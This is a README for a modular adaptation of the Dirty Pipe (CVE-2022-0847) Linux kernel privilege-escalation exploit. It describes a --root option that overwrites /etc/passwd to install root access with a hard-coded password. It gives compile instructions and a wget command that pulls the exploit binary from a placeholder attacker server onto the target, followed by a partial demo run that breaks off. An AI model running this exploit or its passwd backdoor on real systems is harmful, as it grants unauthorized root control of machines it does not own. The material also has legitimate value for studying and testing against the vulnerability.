# Dirty Pipe Exploit: CVE-2022-0847
The Dirty Pipe vulnerability, also known as CVE-2022-0847, is a significant flaw within the Linux kernel. This repository provides an adapted version of the widely used exploit code to make it more user-friendly and modular.
A very good explanation of this vulnerability can be found on the [HackTheBox blog](https://www.hackthebox.com/blog/Dirty-Pipe-Explained-CVE-2022-0847). Max Kellermann's original, more detailed explanation can be found [on his blog](https://dirtypipe.cm4all.com/).
This adapted version is segmented into different methods to increase modularity and ease of modification. Notably, there's an added --root option that modifies the /etc/passwd file, to leverage root access with password `el3ph@nt!`.
Compile the exploit statically:
```shell
gcc -o dpipe dpipe.c -static
```
And retrieve-it from your target before launching-it:
```shell
yoan@teecup:~$ wget http://YOUR_SERVER_ADDRESS/unix/cve/dpipe
--2023-10-15 20:07:44-- http://YOUR_SERVER_ADDRESS/unix/cve/dpipe

```shell
yoan@teecup:~$ echo "Vxxx" > dirty
yoan@teecup:~$ cat dirty
Vxxx
yoan@teecup:~$ ./dpipe dirty 1 uln
